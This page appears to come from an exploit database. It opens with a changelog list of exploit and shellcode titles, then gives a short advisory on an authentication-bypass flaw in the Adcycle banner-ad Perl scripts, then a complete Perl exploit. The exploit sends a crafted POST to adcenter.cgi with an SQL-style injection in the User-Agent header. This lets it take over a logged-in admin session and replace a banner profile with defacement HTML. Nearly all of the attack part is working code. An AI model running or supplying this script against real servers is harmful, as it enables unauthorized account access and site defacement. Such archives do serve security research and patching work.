
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
77 lines
No EOL
3.3 KiB
Perl
Executable file
77 lines
No EOL
3.3 KiB
Perl
Executable file
source: https://www.securityfocus.com/bid/2393/info
|
|
|
|
Adcycle is a package of perl scripts available from Adcycle.com. The scripts are designed to manage banner ad rotation through a web interface, backended with a MySQL database.
|
|
|
|
A problem with the suite could allow remote execution of commands. The handling of input by the script may allow users to gain access to the accounts of other users that are currently logged in. By generating a custom crafted request and appending it to the adcenter.cgi script, a user would be able to fill the values needed to get access to the system, and execute commands as a user already logged into the system.
|
|
|
|
This makes it possible for a malicious to gain access to database resources and execute arbitrary commands. It may also be possible for a user to gain elevated privileges on the database.
|
|
|
|
#!/usr/bin/perl
|
|
#
|
|
#Adcycle v0.78b eXploit
|
|
#by neilk@alldas.de
|
|
#
|
|
#This script exploits a situation that allows a remote user to 'skip'
|
|
#authentication if the legitimate Admin is logged in or has not logged
|
|
#out properly since their last session.
|
|
#
|
|
#Shoutz to: tribunal, domz, all @alldas.de, mjm @gmc-online.de
|
|
# code segments borrowed from teleh0r @doglover.com
|
|
#
|
|
#http://news.alldas.de.
|
|
#
|
|
|
|
use strict;
|
|
use Socket;
|
|
|
|
banner();
|
|
|
|
if (@ARGV < 1) {
|
|
usage();
|
|
exit(1);
|
|
}
|
|
|
|
(my $target) = @ARGV;
|
|
|
|
my $clickurl="http://www.fuqu.com";
|
|
my $dir="cgi-bin/adcycle";
|
|
my $imageurl="http://www.hornylesbians.com/pr0n.gif";
|
|
my $cid="MT01";
|
|
my $bannerid=1;
|
|
my $agent = "Mozilla'||aid='ADMIN";
|
|
|
|
my $url = "click=$clickurl&image=$imageurl&pri=0&change=Update+Banner+1+Profile&option=AUTO&border=1&align=CENTER&target=_blank&alt=h0h0h0h0&btext=%3Cfont+face%3D%22verdana%22+size%3D2%3E%3Cstrong%3EClick+Here+to+Visit+our+Sponsor%3C%2Fstrong%3E%3C%2Ffont%3E&html=%3C%21--+START+ADCYCLE.COM+RICH+MEDIA+HTML+CODE+--%3E%0D%0A%3Ccenter%3E%0D%0A%3Ca+href%3D%22http%3A%2F%2F$target%2F$dir%2Fadclick.cgi%3Fmanager%3Dadcycle.com%26cid%3D$cid%26b%3D1%26id%3DIDNUMBER%22+target%3D%22_top%22%3E%0D%0A%3Cimg+src%3D%22$imageurl%22+width%3D468+height%3D60+border%3D1+ALT%3D%22Script+Kiddiot+Attack!%22%3E%3C%2Fa%3E%3Cbr%3E%0D%0A%3Ca+href%3D%22http%3A%2F%2F$target%2F$dir%2Fadclick.cgi%3Fmanager%3Dadcycle.com%26cid%3D$cid%26b%3D1%26id%3DIDNUMBER%22+target%3D%22_top%22%3E%3Cfont+face%3D%22verdana%22+size%3D2%3E%3Cstrong%3Eantionlinesuxhard%3C%2Fstrong%3E%3C%2Ffont%3E%3C%2Fa%3E%0D%0A%3C%2Fcenter%3E%0D%0A+%3C%21--+END+ADCYCLE.COM+RICH+MEDIA+HTML+CODE+--%3E%0D%0A%0D%0A&null=%3Ca+href%3D%22http%3A%2F%2F$target%2F$dir%2Fadclick.cgi%3Fmanager%3Dadcycle.com%26cid%3D$cid%26b%3D1%26id%3DIDNUMBER%22%3E&task=update_banner_profile&cid=$cid&banner=$bannerid&pg=2";
|
|
|
|
my $url_length = length($url);
|
|
|
|
my $request=
|
|
"POST /$dir/adcenter.cgi HTTP/1.0
|
|
Connection: close
|
|
User-Agent: $agent
|
|
Host: $target
|
|
Content-type: application/x-www-form-urlencoded
|
|
Content-length: $url_length
|
|
|
|
$url
|
|
";
|
|
|
|
my $iaddr = inet_aton($target);
|
|
my $paddr = sockaddr_in(80, $iaddr);
|
|
my $proto = getprotobyname('tcp');
|
|
|
|
socket(SOCKET, PF_INET, SOCK_STREAM, 'tcp');
|
|
connect(SOCKET, $paddr);
|
|
send(SOCKET,"$request", 0);
|
|
close(SOCKET);
|
|
|
|
exit(1);
|
|
|
|
sub banner {
|
|
print "\nAdcycle eXploit for V0.77b/0.78b\n";
|
|
print "by Neilk (neilk\@alldas.de/neil\@alldas.de)\n";
|
|
print "http://www.alldas.de\n\n";
|
|
}
|
|
|
|
sub usage {
|
|
print "Usage:\tperl $0 <target ip>\n\n";
|
|
} |